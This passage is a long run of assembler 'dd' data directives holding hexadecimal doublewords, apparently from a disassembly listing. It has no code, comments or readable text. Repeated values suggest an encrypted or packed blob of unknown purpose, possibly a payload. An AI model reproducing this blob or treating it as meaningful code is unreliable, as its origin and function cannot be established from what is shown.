		dd 0A4AA18F8h, 23621CA2h, 0D9E89245h, 1DE5D64Bh, 0E2A27764h
		dd 0BABEBBFFh, 2BF36C46h, 305A1C62h, 57423895h,	17EFE484h
		dd 0EDD77FAh, 647758DEh, 8FB9DA9Dh, 0CCB3EA1h, 93229931h
		dd 0C94D78D7h, 1660A887h, 90C0B3BAh, 754F43F8h,	0C7935E8Ah
		dd 61149158h, 4B8C5E06h, 4B8DB273h, 0CCA0FD8Eh,	327CB27Ch
		dd 98F69E16h, 0C1E3B254h, 0CF9CB517h, 0A890690Fh, 0A89340BAh
		dd 55h dup(0A80CB3BAh),	512A8BAh, 6184B3BAh, 28E7D42Ch
		dd 92D4BF51h, 0D97B23EAh, 295A9CDDh, 698997B5h,	28E7D590h
		dd 92D4BF3Dh, 0D9795EEAh, 29B69CDDh, 748997B5h,	28E7D593h
		dd 92D4BF19h, 0DAAC05EAh, 87029CDDh, 348997B5h,	28E7D56Bh
		dd 92DB3385h, 0DADE8AEAh, 9F7E9CDDh, 458997B5h,	28E7D56Ah
		dd 92D4BF01h, 0D90593EAh, 28CA9CDDh, 0C68997B5h, 28E7D59Ch
		dd 92D4BF2Dh, 0DA3653EAh, 28269CDDh, 0E78997B5h, 28E7D592h
		dd 92D4C089h, 0DA9121EAh, 2DF29CDDh, 0D68997B5h, 28E7D5B4h
		dd 92DB17B5h, 0B67FED7Ah, 65E15824h, 9BC7C2CAh,	795AB6D7h
		dd 77D6298Dh, 42990CCBh, 9DAE2915h, 7A5A71ADh, 0B71FC1BCh
		dd 0A2549F60h, 9B3DF622h, 0C6288614h, 87A7C7DEh, 3AE7255Fh
		dd 526E5861h, 6324D96h,	0EA837E19h, 3C927B78h, 0A6D66313h
		dd 78974DA1h, 4BDD17AEh, 0F3F9D0F0h, 15436B14h,	0F3F933FEh
		dd 4E8BA314h, 0E889766Dh, 28AE72EAh, 0F84C9DC8h, 360B1186h
		dd 72665502h, 827B7BA0h, 6FAED12Dh, 0A8C75911h,	0BE6DB3BAh
		dd 7201E86Ah, 65924D89h, 5D5FF382h, 35F86D6Dh, 0B883F315h
		dd 5DA32544h, 3507247Dh, 90666853h, 0BA26F9ABh,	0BC059C1h
		dd 0A8933F06h, 9912C850h, 1926D5DDh, 0CB0FA1F8h, 0E8EEE1D9h
		dd 59E14283h, 0DFD22126h, 58E03658h, 6C98B2D3h,	9BA959C0h
		dd 0B4F0F4CDh, 0CB3F2DC1h, 76BF6B3Fh, 0EAD098C8h, 0D35EABBBh
		dd 0F6F6DB98h, 7D18B314h, 0C17E543Fh, 6027FEC9h, 32366DEFh
		dd 7154ECB0h, 88BB3D8Ah, 6027FB43h, 555447EFh, 60271F37h
		dd 4B59BEFh, 42FA0A62h,	0D10A7827h, 0BD53CF24h,	0BFCF9749h
		dd 1D5CFABBh, 9A96465Dh, 0E296B3B2h, 59DF6F43h,	0B8A611CDh
		dd 867BEBB2h, 0CC3B9D80h, 0D470FE47h, 64F693FAh, 0F395E1BEh
		dd 21291C0Eh, 0E24C6732h, 4673B48Fh, 0FA665BA2h, 9CCBBF9Fh
		dd 9DA44F96h, 2370F411h, 0EB7998BEh, 0C27D5426h, 1F04EFBAh
		dd 0CB0FA1AEh, 4EEB0B6Bh, 560BA273h, 0EA06D439h, 75B0923Dh
		dd 9CFA75A0h, 9BD5131Eh, 49DEB452h, 0D7192544h,	2C56288Fh
		dd 726B8A25h, 0C8F3B0C6h, 1266553Eh, 68F153B7h,	5666553Ch
		dd 30D179A6h, 0FBB30B00h, 783424A9h, 0F1A7E3F7h, 0FEC0689Ch
		dd 0A80CB395h, 76324C49h, 0D72DDB66h, 0CB0FA1ABh, 6588C750h
		dd 0B6450518h, 0CB3B60C4h, 0A1949C1Eh, 1516D5C0h, 0CB3B60C8h
		dd 57BBBE62h, 8CE9AC43h, 5375CB5Eh, 7598A169h, 2889ACC1h
		dd 6596642Fh, 0D7623D3h, 0EA592DDFh, 34FB9D01h,	0CEC7FF54h
		dd 2316052Bh, 0D674C1FAh, 7E3952ABh, 0ECD12547h, 0DA329457h
		dd 3969C56Eh, 515A0168h, 0A73A1EAAh, 6501264h, 0FFD51D85h
		dd 1D5D87EBh, 462AF65h,	48D57Dh, 0C15CF9A7h, 35D22521h
		dd 7FD2B3B2h, 9CFB631Eh, 0FB6205D9h, 5457312Eh,	0D0078071h
		dd 813C5223h, 0D5E55234h, 102A989Bh, 0D34EB85Ah, 7C7404E9h
		dd 0B3ACC5Ah, 0DE665CBCh, 5032270Fh, 0E9CF757Dh, 1897FCD6h
		dd 70246355h, 12A245D9h, 0DC1D8CA8h, 2370524Eh,	2421644Ch
		dd 5B4A3A1Ah, 0FFD5D524h, 55587019h, 173D741Ah,	802C2CBDh
		dd 13835688h, 0D1B8FBEEh, 3281EF22h, 1AA8B646h,	0C23BC612h
		dd 0A33D2F33h, 0F62A7390h, 0E9903B14h, 0D76E3691h, 746DD33Ch
		dd 8F2B7C74h, 192DBBEEh, 0C7CB40EAh, 4444EF97h,	1864CA2Fh
		dd 622E2DD1h, 8FCD4D55h, 0DE757E5h, 0EB5536C7h,	0C964939Bh
		dd 62A8BB62h, 76322AD0h, 0E345B1C3h, 0B7A561A6h, 7FDCD4E3h
		dd 444AA9B7h, 0DECB3E2h, 9879D8C7h, 0E29A7509h,	94BB5457h
		dd 0A69E3363h, 1A79D8C7h, 0EEB66BBFh, 5C7416DFh, 12B33565h
		dd 43EEDCD7h, 4EEB3B7h,	2098571Fh, 783EFAE5h, 28D3D5ADh
		dd 0F9F3A47Dh, 96C84636h, 611C4BD5h, 0FCE6A32Eh, 0BABF66h
		dd 1800FF2Ah, 47F6DB7Bh, 72665CB7h, 96AE4312h, 0C5E884C4h
		dd 0A0E5FF07h, 16655ECh, 0ED091B8Eh, 0DE80791Eh, 0CE59618Bh
		dd 0A22CDD0Dh, 88EFFA4Dh, 0F5934392h, 0DEF60E57h, 0AFCB928Ch
		dd 39481E46h, 334A3E56h, 0E3D2CBFh, 6592F91Fh, 0FF1817A3h
		dd 0D415BA76h, 0C3973F43h, 1FC83A5Fh, 2EF6846Ah, 9E102680h
		dd 1C62ABC2h, 173EFE95h, 0C39FA9Bh, 0B53F1D39h,	8A3B5C0Dh
		dd 0E7EE4B6Ch, 425E2544h, 9E7BB464h, 97532883h,	5C6497EAh
		dd 0E907B63Fh, 0EAC2EA0Ch, 76A22544h, 0A8176DCAh, 8C820FA7h
		dd 66655C8h, 6AF62ED1h,	0EAE625ADh, 0D0C3C8B3h,	0A340E2Ah
		dd 8962A550h, 37998658h, 0A2E890EBh
		dd 0A9423E5Ch, 127B62BAh, 45E0F7Bh, 89F7CBC1h, 0F55CD4FEh
		dd 17EA3AB9h, 2D84CB72h, 92795EB0h, 635926E6h, 8B6D13Ch
		dd 0ACC19371h, 0BACE53F0h, 9FFE255Fh, 73604957h, 51B6B6ACh
		dd 0D712526Dh, 6DE094Ah, 0F5948E1Dh, 0FAC0AE14h, 0D002CD18h
		dd 0C8B59F23h, 0F5943F80h, 0D4998714h, 25665C51h, 7CA7434Bh
		dd 8FEA9947h, 0E0FF7437h, 8362A560h, 0F8B6B4A6h, 7959C712h
		dd 6860F53Ah, 0D9A1A089h, 1F95CAA5h, 174BAF49h,	170726B9h
		dd 0D483F031h, 0C0B7814Fh, 7638178Bh, 28EF2B07h, 0DAD7408Eh
		dd 0DA537259h, 0AD7AFE9Fh, 0E621B505h, 6422F5EFh, 0BB8FDEBFh
		dd 0E77145F9h, 0B92545C4h, 0EC3020B5h, 2AA6B28Ch, 2AA695B8h
		dd 7919B18Fh, 0EF22E5F2h, 0A8019414h, 0FC70CF5Ah, 457D8A97h
		dd 1510B555h, 0D483148Ch, 0BB51EDDDh, 0E7B37DEDh, 0D262AFD6h
		dd 61192374h, 4FCF8874h, 0F1184764h, 0AF43E4EFh, 523C1F86h
		dd 0BA335584h, 5969E246h, 7F0951C8h, 401515F1h,	8F47BFE7h
		dd 77BFFCAFh, 0C270684h, 3DE93A8h, 783EF908h, 0F63F19ADh
		dd 0F63912ADh, 0FBB09214h, 4605DEE8h, 0F6CBDEFAh, 756669B9h
		dd 7EA2B6B7h, 25FDF531h, 0E812DE28h, 0C5922CBEh, 772E3E2Fh
		dd 577EBDCEh, 85292CBEh, 7D5FCC5Ah, 32C2D508h, 19DDB9E9h
		dd 0D75F6897h, 0A9F65413h, 32666997h, 41DE8097h, 0B9C83A4Fh
		dd 0F62D733Bh, 5B379C14h, 8E666997h, 18A58B13h,	0F65D8E73h
		dd 0E5C4F714h, 12076035h, 0A1135994h, 0C568F2F8h, 3388B8E5h
		dd 0D8B483F5h, 379CF015h, 1E310444h, 6F933FCAh,	768C90AFh
		dd 87A9B1D9h, 60CE17FFh, 0DF8EB930h, 35E79E48h,	0C4784478h
		dd 452E956h, 26CBC1h, 0C28297F5h, 0C0E1B7A4h, 6652C3F6h
		dd 956FFFC2h, 3F2629C4h, 0C56FFC23h, 7FDB2189h,	6562A566h
		dd 0BA335584h, 5962A57Bh, 1926ACC8h, 0C3239457h, 0F231C0EEh
		dd 0E623FBDBh, 84C61E07h, 0F80CDFBFh, 1070BAEEh, 0F826528Ch
		dd 0C876AFB3h, 4D1FA4BEh, 16DFFA69h, 0A9A53226h, 96AE3EBAh
		dd 59A184C4h, 1B2CB1C5h, 0D5237E57h, 0F3FD051Fh, 0B812AB41h
		dd 0BFEF494Dh, 4A835051h, 0AD6625B8h, 0EF8F3205h, 0F4E85314h
		dd 0A23EB20Ah, 0D2829947h, 502CA345h, 1CD9767Ah, 0D3B1CB1Dh
		dd 0A764C163h, 10C2077Bh, 9522150Bh, 8BF73FF3h,	0C69A6B2Ah
		dd 276E18EFh, 711449B3h, 0A51DE453h, 3A755489h,	13BE422Dh
		dd 3AA90494h, 401B5EDBh, 8FB1CE19h, 85E0FD3Bh, 0B3E8C526h
		dd 0F097BC65h, 71597655h, 7AF14A6Eh, 848BD30Ch,	0C01B73C6h
		dd 0EA7CBC76h, 416561FEh, 0E8378927h, 9A88FEF1h, 84F8F328h
		dd 1D11CC90h, 25D76B83h, 0D6867E85h, 0EBDC286Ch, 11FC970Dh
		dd 97956FE5h, 2520EB89h, 67F3E0AFh, 512E6683h, 7F60273Eh
		dd 0DA4B92C0h, 0CFC3D09Bh, 2AEA3948h, 9CC1C169h, 0FD1823BAh
		dd 0A7765E73h, 8830A31Bh, 6EA70765h, 31554D0Dh,	78BCE70Ch
		dd 765CC11Fh, 422FECC0h, 4C64B540h, 0E8329BEFh,	0EAC7D4E7h
		dd 0FCAC0AB9h, 45F4D3B7h, 89341176h, 0ACB0EB37h, 0CC81E68Dh
		dd 72B8CF34h, 903F9FECh, 826BD7C9h, 0C272837Ah,	2079E444h
		dd 68AE749Ah, 2B1D8016h, 0D5CFE775h, 0D24C1308h, 5CB751ECh
		dd 5CF19E7h, 21129D84h,	0ADCBB47Ah, 859A021h, 43953DFCh
		dd 0C27754A8h, 0B490CD61h, 5B3213D0h, 743FDB41h, 36837121h
		dd 52262BCAh, 7DC62D23h, 34A32C66h, 0C637B89Ch,	0F5627148h
		dd 0F72B0145h, 5C76B9AAh, 432F55EBh, 0F1A68214h, 6873EB21h
		dd 1BE2497Ch, 8C3CABFDh, 2503FC1Ah, 0E261924Dh,	1DA677DDh
		dd 3D65870Bh, 5F93FBD9h, 0D25EDEB9h, 5DFBC46Bh,	0EF8ECA03h
		dd 0BBB303CDh, 296189F2h, 912B0176h, 876B8E12h,	0B8A55B0Ch
		dd 0E658D023h, 638D3466h, 0D28460BFh, 80459FAFh, 3FAC241Dh
		dd 0BB8310B4h, 461184B9h, 4479DA6Ah, 0E26CD1BCh, 26C00188h
		dd 63CF6274h, 0E5DFA3E7h, 2F60F71Ch, 169ECA95h,	0C8C67FAEh
		dd 4CD55C6Dh, 28321DD5h, 172B839Bh, 78A52B52h, 616AA77Ah
		dd 9C2B015Bh, 7F62A8CFh, 6AAA3221h, 0F6129B7Ah,	6F2E86DDh
		dd 4208668Ah, 4E315D3Fh, 9CFFC4C3h, 0C09BFB31h,	0F3CA80Ch
		dd 8E4AEFB7h, 2B3CA80Ch, 55140F7Eh, 387852E6h, 0C689E7Bh
		dd 753C0F12h, 21060E5Ch, 8A2A111Ch, 0C6B81E29h,	2F181A32h
		dd 0F76A2F60h, 79179F06h, 0ED383406h, 86E82BC3h, 0B3A30566h
		dd 0F5C2C9F6h, 0A109FD12h, 1A764820h, 0EB1C86CBh, 2DFECC71h
		dd 0D93DE638h, 11FF2036h, 0A155BACCh, 99854C5Ah, 0C22D5798h
		dd 0D06A06DCh, 6D124606h, 0B1277442h, 0A1CC2BC0h, 0D24C078Fh
		dd 5CB751ECh, 72C15804h, 0F84E4B86h, 35B9A899h,	0C43CA806h
		dd 1A0C722Ah, 0C51C341Dh, 4EE0A4D7h, 9C2B02F5h,	0DAA71B20h
		dd 5D3CABE7h, 4A688998h, 82619190h, 9F560F89h, 0F6F9037Dh
		dd 834B382Dh, 0F1140008h, 0D41C034Ah, 2F06967Ch, 9BD166DAh
		dd 12B17029h, 0B53CABEFh, 0B4166904h, 0DF2FEAE8h, 500D0F6Fh
		dd 3AED3CFAh, 399CB88Bh, 0C149E1D7h, 67354395h,	0DF2FEDD0h
		dd 77B8B9A7h, 6509DD6Bh, 4A6C5D29h, 51B24BB9h, 187AB9Ah
		dd 7170A923h, 4C91041Fh, 9BC8C1A2h, 0D9A70620h,	243CABECh
		dd 0CB296C51h, 42A817A3h, 82CEF3Dh, 43D0A987h, 0BB3CABEFh
		dd 9BDD6EB0h, 2555C633h, 0CA8C970Eh, 781B60EAh,	0E5DFC0ABh
		dd 21927876h, 0ADCBB47Ah, 57ED0A0Fh, 61DC3793h,	35C32660h
		dd 0A09C36F2h, 0E24E8FF2h, 0A56AD3Fh, 0A0AC8616h, 0F141340Fh
		dd 0F6F33E87h, 404F5A6Fh, 68F9445Dh, 0DE41512Bh, 0B557CA4Dh
		dd 0D549D68Bh, 5081F9F0h, 0D524B69Ah, 50810118h, 26BF4E9Ah
		dd 184E85A4h, 39C7E026h, 5C71CA47h, 0E399E298h,	9C56AD0Eh
		dd 63D46EC3h, 13D199E3h, 0CAFF6FF0h, 0BA06B9C4h, 1C8191EBh
		dd 0B557EE37h, 50B6164Bh, 0DF2C079Fh, 3E5A5203h, 0DF2C12ACh
		dd 1EE1E3A3h, 0D659F565h, 0DF2C076Ch, 0E6BCAF33h, 3E2C4DB2h
		dd 66FA425Dh, 0E890B670h, 59CCE312h, 33D66CDFh,	4C8520C8h
		dd 9C566C5Fh, 0F2FBED20h, 291DCA4Ah, 57ED5F12h,	0B7B11293h
		dd 11745B04h, 0FA31843Fh, 6C8A504Dh, 0A2485933h, 93B87E1Ah
		dd 66570CC4h, 0F5532035h, 0B3315CAEh, 0F15DB71Ah, 428C80D9h
		dd 85315CA1h, 4466392Ch, 0DF366283h, 0E5C91957h, 1EF21163h
		dd 0E2BCAF33h, 1F3FD8C4h, 0FB1EFEE1h, 0DA44639Ah, 3E8789C4h
		dd 14C87158h, 80AA054Ch, 8EAC237Eh, 6CADDCFAh, 0FB461E21h
		dd 177DD2DCh, 0FE6F0DA7h, 9241834h, 0FC38B3Bh, 690DF1CCh
		dd 0E1B2B392h, 25A5526Bh, 3E4A3E26h, 0BD3CD655h, 64EC193Dh
		dd 0B23DC491h, 4AA0850h, 2DB0C9B7h, 0F9914232h,	9A3A20Ch
		dd 8C8F4C1Dh, 3571B2BBh, 42269698h, 0BE18B382h,	0D15445B2h
		dd 0FD9DB2A1h, 0CAE8B5C6h, 6A3A96C3h, 0B081E570h, 0A037753h
		dd 68CF71DFh, 489B6AA5h, 7ECDD9F5h, 13A7981h, 719687F8h
		dd 0C6DE8E70h, 399DDA52h, 7485A0D2h, 83F4F2C0h,	6031F4D8h
		dd 6A192E27h, 8A52AE4h,	338C7E17h, 89536A72h, 45F1701Fh
		dd 176745F0h, 0AE0C6F3Dh, 0B0A41BFBh, 45D9A4A7h, 0F5890BC4h
		dd 64256D3Fh, 0E67B9D91h, 64DCC44Fh, 0CECE1591h, 64E2D0B3h
		dd 4D6B9533h, 0A89DB526h, 0BA4C733h, 197BD436h,	0B88DA8E5h
		dd 0B30D2322h, 128DA8E4h, 6E028865h, 1DBA1D6Ah,	62D612D9h
		dd 6E4B137Eh, 654D4796h, 0CE4DB526h, 5DE6776Ch,	391DEB1Bh
		dd 5C0FA4E2h, 27C48173h, 31633266h, 0C7ADC80Bh,	7F520AD1h
		dd 3456BD6h, 1CEA5765h
		dd 9BDCBF90h, 0C68C8071h, 0CD71EDDCh, 3D07C74Bh, 0BC1D0638h
		dd 98AF5F53h, 41A0468Fh, 5D6028C1h, 0CFDB9214h,	0D05B8E10h
		dd 40A70447h, 3B522F09h, 0C1C5CF54h, 0BD492D8h,	0EAFA47F4h
		dd 0E225B0AFh, 0BD76798h, 0F76916E4h, 44315ABDh, 0A7A93E25h
		dd 328A0544h, 57802299h, 0CA5115C2h, 964697Fh, 888C78CBh
		dd 0ADA4C5D3h, 0FA60CAC9h, 27B60D85h, 0BEDB5026h, 2F7CC060h
		dd 0E3E77D4Fh, 7A78536h, 676445C6h, 3D3E6A1Ah, 3EBEFCA0h
		dd 772684C6h, 6372E082h, 0B14FE7C7h, 0C4ACC8FBh, 0F5C528C0h
		dd 6935ADDh, 7359FE8h, 858528C0h, 0A2C79CA8h, 0F18C7E14h
		dd 4CFE3C4Ch, 358F935Ah, 1362B275h, 4AECE92Ah, 476EC4Eh
		dd 0B3420873h, 5C6DAEEBh, 4D8BCC0h, 74FF2AB5h, 7FD73C67h
		dd 59763B9Fh, 8C4B5A34h, 9AB413Ch, 888C7EF0h, 407706D3h
		dd 0D856E67Fh, 2F8DAEB9h, 8B8DA8D0h, 6410BD9Ah,	0CDFB70B4h
		dd 7B8C783Eh, 54DEE39Ah, 2B23C9ABh, 0ECA2116Fh,	5D4DE494h
		dd 6DE4E1B0h, 0C14EE23Bh, 293465CDh, 0F82510B4h, 0FC55EC24h
		dd 0CECAF12Fh, 9AF891DDh, 9DFCF687h, 48C7027Fh,	0F2424234h
		dd 0A70C1647h, 0E365AA44h, 0AA98598Ah, 94CA3587h, 0E7C804Fh
		dd 0E8B91B33h, 0B8230CE6h, 0AC6FFBF3h, 657257F3h, 588367F2h
		dd 159C5B29h, 0DBC8E3D7h, 368328B3h, 5183EF37h,	5690F864h
		dd 6393DD85h, 2C1A8D3Fh, 0B4C0E1B0h, 0CF3B167Fh, 0FA55AB1Ch
		dd 0DA47B52Ah, 9D46AE84h, 0B7BB02BDh, 0AB8424D0h, 8B417FB1h
		dd 0A659791h, 0B7764CEEh, 0FA55A36Bh, 0D9DF986Eh, 5404AF41h
		dd 0D75767A5h, 2350FD52h, 6B0545Eh, 224518ECh, 28E14AFFh
		dd 7F80E1B0h, 5B97243Eh, 0F3516F1Dh, 43AF4CD4h,	2CFCEB2Bh
		dd 0BE0D314Eh, 0A24B8F5Dh, 3B389AF1h, 0F5E3C4D1h, 0B488E73Ch
		dd 2E08545Dh, 0BE0D3180h, 0E399375Dh, 0CD572F02h, 0ABE3B3A0h
		dd 17E00BEEh, 1E5A3D02h, 36230927h, 5C1BA3DAh, 0FB3DE938h
		dd 0A89CF73Ah, 0ECD14430h, 4002927h, 0B91C7045h, 0FE573E8Ah
		dd 0C59C7148h, 944AE1BDh, 4083F16Ah, 4B3083CAh,	1E8A7E0Eh
		dd 4B30D920h, 21EFD60Eh, 6D14C772h, 79B69BE4h, 18A1A015h
		dd 99AFFAAFh, 5A352A53h, 54038671h, 54BF8ECh, 0A786F1B0h
		dd 0FA547747h, 29176962h, 7FC1F2CCh, 0D730243Eh, 27A31032h
		dd 29655098h, 4B77B3DFh, 136060D5h, 88A3D7E8h, 2D5ECE83h
		dd 0E62F648Dh, 0C47EE40Eh, 0A6601D24h, 9E2B7C55h, 0E8BAD0E9h
		dd 0B206E4F0h, 0A364F5B6h, 0A2F80235h, 0D9BBFE0Dh, 40662EE0h
		dd 301FE7C4h, 8EBEEE24h, 0A9CA94ADh, 0A2F8416Eh, 3B48370Dh
		dd 3765AEDAh, 65BA61B7h, 0C411F1D1h, 0DCD216BEh, 0B612D3E8h
		dd 54A4D03h, 1EB2D504h,	0E088A33Ah, 0B3099DF3h,	0B9BF71AAh
		dd 7824036Bh, 8C3714CEh, 3565EF94h, 4914042Dh, 42883011h
		dd 0F9C68706h, 0A76FB10Bh, 0CB4AD10Dh, 0DAC5863Eh, 64391436h
		dd 9B30622Ch, 33A2ECF6h, 62DDE70Fh, 0C704088Dh,	3B8852ECh
		dd 0DFD621FFh, 7BE9A5E0h, 3E8ED507h, 0AA99A3DEh, 569EE0DDh
		dd 47FF74B6h, 0E0AEB246h, 2D7DF1B3h, 54AE194h, 5F43744Ah
		dd 0F8D70244h, 0FA14D008h, 4C8BBCB8h, 0E653E027h, 0ACEB5456h
		dd 24465A7Fh, 0EC76BA59h, 8865AA81h, 8B2BD22Bh,	0E84D9EB8h
		dd 0E0521D93h, 703B005h, 25564A07h, 8446345Eh, 5494E17h
		dd 24AEFDB4h, 83088705h, 61396C47h, 70F82BE4h, 691EB8FBh
		dd 7656803Eh, 1664D473h, 0FE263802h, 0BFFF2974h, 0B659769h
		dd 0D31F13h, 72AF5F45h,	0DF7CD31Ah, 0C45BF473h,	3137071Dh
		dd 61B2AF4Dh, 88885454h, 175DF455h, 0F8F1F73Bh,	0F4EC5589h
		dd 68F65977h, 0BA4AE1B0h, 7656803Dh, 1664D473h,	0FE263802h
		dd 0A4FF2974h, 0D065AA81h, 0BF3540D4h, 86D0605Dh, 1294A80Dh
		dd 486FC001h, 0A5280C89h, 0F0633ABEh, 0ABA81E41h, 0C04AE1AFh
		dd 0D5F3F16Bh, 6FAB771Ah, 0D97CD0F3h, 0A3630413h, 0B8406E35h
		dd 0FDE5EA0Dh, 0F90F6690h, 3A4284DDh, 9699FDC1h, 0EB9CE6C7h
		dd 2CFCE8F3h, 6D14C774h, 0B02E43E4h, 9E7D1E40h,	803AA189h
		dd 5494E62h, 915B5E93h,	8184E40Dh, 4083F16Ah, 0B8401ACAh
		dd 0E369FD0Dh, 7D04A2B9h, 44DE35B4h, 1A2D1E41h,	0B9D899D4h
		dd 7292C90Dh, 0C265C953h, 456AD1Fh, 0C6E5E1B0h,	70CFBBB4h
		dd 0AD86C981h, 5481A34Eh, 63BED538h, 95365AB1h,	0AE8EE8ABh
		dd 0FF7A9BACh, 417CAE7Ah, 0F32F3F07h, 0E84DF0C7h, 308F364Ah
		dd 4198EEBAh, 0D8C37F07h, 0E6275DECh, 50DF5456h, 5E87128h
		dd 431465B5h, 605A42Eh,	50837DE6h, 444DB3CCh, 0E8BAC428h
		dd 0E06A356Bh, 7A3486A6h, 0B98E3207h, 1FCD325Fh, 3F5E2Bh
		dd 0A7B7928Ah, 99F8C30Dh, 0DF59BBAAh, 0FE65A54Ch, 753B129Fh
		dd 366EA540h, 279716E3h, 7A0DBF42h, 0D02F2B07h,	1A474FEFh
		dd 0B1A830A2h, 96605AB0h, 871BA3FAh, 187923FFh,	6A14A2C2h
		dd 804BE8Ah, 0F84CFA83h, 285E7B18h, 32FD2FE4h, 55519F93h
		dd 0A0E7DE51h, 5AA42470h, 9744F00Ah, 0E363D625h, 0D759B25Eh
		dd 0E70ACB8Eh, 0FB8DE8DDh, 57C21F56h, 7A218176h, 69917479h
		dd 8C38385Dh, 0CAE0F376h, 0F5CFF64h, 9CFC9BA0h,	784E129Eh
		dd 92EED194h, 551DD472h, 0E8D1586Eh, 559B2E80h,	4977433Ah
		dd 0AF38EE4Eh, 87C094B6h, 0C9698074h, 0C26D66Ch, 18B0D29Eh
		dd 0EC376EB6h, 5E8DFECh, 18B0EAB6h, 36F56B6h, 86A49098h
		dd 51C98D4Dh, 0CABAB83Dh, 0FC0D867Eh, 0F6F0BD24h, 0E993CBC6h
		dd 419881AEh, 6366A07h,	25AB51FBh, 0CB5EF86Ch, 9E2F3F21h
		dd 7F67CA48h, 0AB7535ABh, 0F5E3A1DFh, 52173E7Fh, 496A1E43h
		dd 0C8F80787h, 4585684Eh, 998DAF88h, 306A3E3Fh,	0FBD3E151h
		dd 1C2B7B4Dh, 662496B2h, 999E76ECh, 3F63313Bh, 390FF2ADh
		dd 114DBED4h, 0E0DF239Ch, 63824F63h, 0E8B95250h, 0DC72B92Ah
		dd 309A57ACh, 1ED65AB1h, 8D91DD85h, 23D27613h, 411E3BBCh
		dd 3FE29107h, 2C169C5Dh, 0A478C943h, 0F71B705Fh, 0BD887E2Ch
		dd 1529325Dh, 7E02E8BDh, 8343243Eh, 0B830C23Ch,	0F20C394Eh
		dd 37F2A2A0h, 26EB1Bh, 0D5F8C53Dh, 691A3793h, 54DD4131h
		dd 319963B4h, 9C04C941h, 0FFEF8987h, 50D45F76h,	44D11A5h
		dd 0A7E9E1B0h, 0E8AB7C27h, 4083F16Ah, 0B841C1CAh, 0C5E0E00Dh
		dd 350108AFh, 557BF9FDh, 0E6B2DD71h, 39015456h,	0CFABA8D9h
		dd 0BC57F864h, 4197013Ah, 279A8107h, 0A910864Bh, 0D2882C68h
		dd 54AE1A0h, 0E37A864Bh, 0E4D1CB7Eh, 995D5456h,	0A7498C63h
		dd 4F41590Dh, 947448CBh, 0FF93CD96h, 0DC7BAF0Bh, 1A2EE898h
		dd 6D77AA27h, 79E0903Bh, 0B0E4B3DFh, 2264D448h,	2A7FAA56h
		dd 0DE48385Dh, 0ABA7327Fh, 0E84DFC8Eh, 77875EA2h, 0E8408607h
		dd 0A4CCB996h, 7656803Dh, 1664D473h, 16CF3802h,	0A06E256Fh
		dd 797449Fh, 53E0B5CAh,	3B71F53Ah, 8E585AB1h, 4197781Ch
		dd 5BC8BB07h, 0E4A75E5Bh, 3C451A23h, 0FA543802h, 6654A381h
		dd 0FA543B2Fh, 0CD6DD429h, 0D250E055h, 3D5CFDF6h, 8C19A9CDh
		dd 8D920E20h, 0DFBA9B3h, 54AE17Bh, 0B66336E7h, 0DF108FD3h
		dd 0D44F6EE3h, 0A0C744FBh, 7465974Ah, 521A72F0h, 0BC65974Bh
		dd 8E8D0D55h, 3AFBAB37h, 5494E1Ch, 5B34B8D5h, 46B98D1Dh
		dd 33508A72h, 4F918C67h, 0D9693A54h, 6621DD30h,	18218F96h
		dd 446F7CCCh, 3F4B5B25h, 0E8BAEA03h, 46E27A96h,	69AAA3ECh
		dd 0A432CF07h, 753623EBh, 0D2875F9Dh, 712178BAh, 2291545Eh
		dd 936A764Ah, 4C243B6Eh
		dd 0AB845AB3h, 0B6A7FB1h, 61AA9FB7h, 0EDB4E7B3h, 0B5327C2Ah
		dd 339E81E0h, 0D9D32CEh, 7F5A4420h, 5494E88h, 9BEE8C88h
		dd 0C93024Dh, 0C04C4038h, 0E40CF51Fh, 441007AFh, 4F04CB32h
		dd 0C98828D9h, 0AD00B391h, 0C7CC0C84h, 35013EBFh, 0A76EB550h
		dd 3E9EC50Dh, 4C87CD7Ah, 0B6CF541Ah, 0F772730Ch, 3423F99Bh
		dd 78E9CBB9h, 0D1498838h, 0D077B9BAh, 0BD30C13Eh, 6CECFDF5h
		dd 0C6ABD0F3h, 0B6120CE8h, 4083F16Ah, 597E9711h, 0FC63731Ah
		dd 0C89B624Bh, 6BB7545Eh, 7BCBEC47h, 0FFEB4F15h, 8AD7B183h
		dd 4365A4A6h, 46A57F9h,	25FBAB2Ch, 5494FF3h, 2734BB48h
		dd 417C9375h, 87301007h, 0E210AFA6h, 0D4FB1925h, 72B05AB1h
		dd 0C97B17D6h, 6551EA3h, 2464D032h, 0AC66BE59h,	70EC6057h
		dd 6F7D466Bh, 610349FAh, 0E83EAF26h, 0FE0C9C55h, 0FA54FCF4h
		dd 0B98E3657h, 0FBCD325Fh, 0AB6B3BFEh, 7BA15EBDh, 715D9807h
		dd 0E9D88956h, 0C7B2C25h, 77EE43E8h, 5F94CCEEh,	0AF1D1D49h
		dd 0B315FE09h, 54BE906h, 0AA3ECB0h, 0FD1DAFA7h,	0BF795908h
		dd 0D53F8ECFh, 74804481h, 0CC66467Ch, 8DE75806h, 6360A01Fh
		dd 3F2B7DE4h, 7E778361h, 0F50C41DEh, 82BC5457h,	0D066B83Ah
		dd 694F5AC5h, 2EA4B5CAh, 8C88AFC2h, 0CB34B9E4h,	0A2332A73h
		dd 16EFF3BAh, 3E288909h, 0F8CC4C62h, 0D0064A12h, 8ECD09D8h
		dd 0C5E20F10h, 0F1ECAEA8h, 0A464DEF8h, 0DA8C4E5Fh, 0D8C10CBFh
		dd 0D887B9Eh, 0E8B9063Ah, 8692B820h, 0B9044764h, 0FBB427A0h
		dd 34E8452Dh, 84F303A2h, 4F593D84h, 8B2C238Ch, 0E0563BA2h
		dd 0EDEB554Bh, 313B3445h, 0C03AEA34h, 0DB83E57Dh, 5EDFF334h
		dd 0F937DDA3h, 0A9D52067h, 34F98034h, 5B944F22h, 0E5B486CFh
		dd 3770F8EAh, 88081F39h, 7EB1B86Eh, 8EA46F11h, 6E94BF20h
		dd 0B0D3140Eh, 0A8C6A2Ch, 0B283A285h, 0AFBD2FA8h, 54AE185h
		dd 0E8A86B0h, 94CA7Ah, 75A20594h, 964241E5h, 0C15EFC84h
		dd 4498DAE9h, 0E7B9E790h, 306310B6h, 0A779CC04h, 0C7D27F76h
		dd 8DDF7FFAh, 54A4DB6h,	3143C4B0h, 9064A55h, 0C31EAA04h
		dd 318ACE81h, 0AC4AE1B0h, 54A4DB8h, 512E30B0h, 505FCB0Ch
		dd 2C2AFE08h, 509636B0h, 8D91DC91h, 0B0DF4D11h,	0AB06E258h
		dd 54A4AA3h, 29E2BDB0h,	31266104h, 25E7D221h, 0F6E4AD4Ch
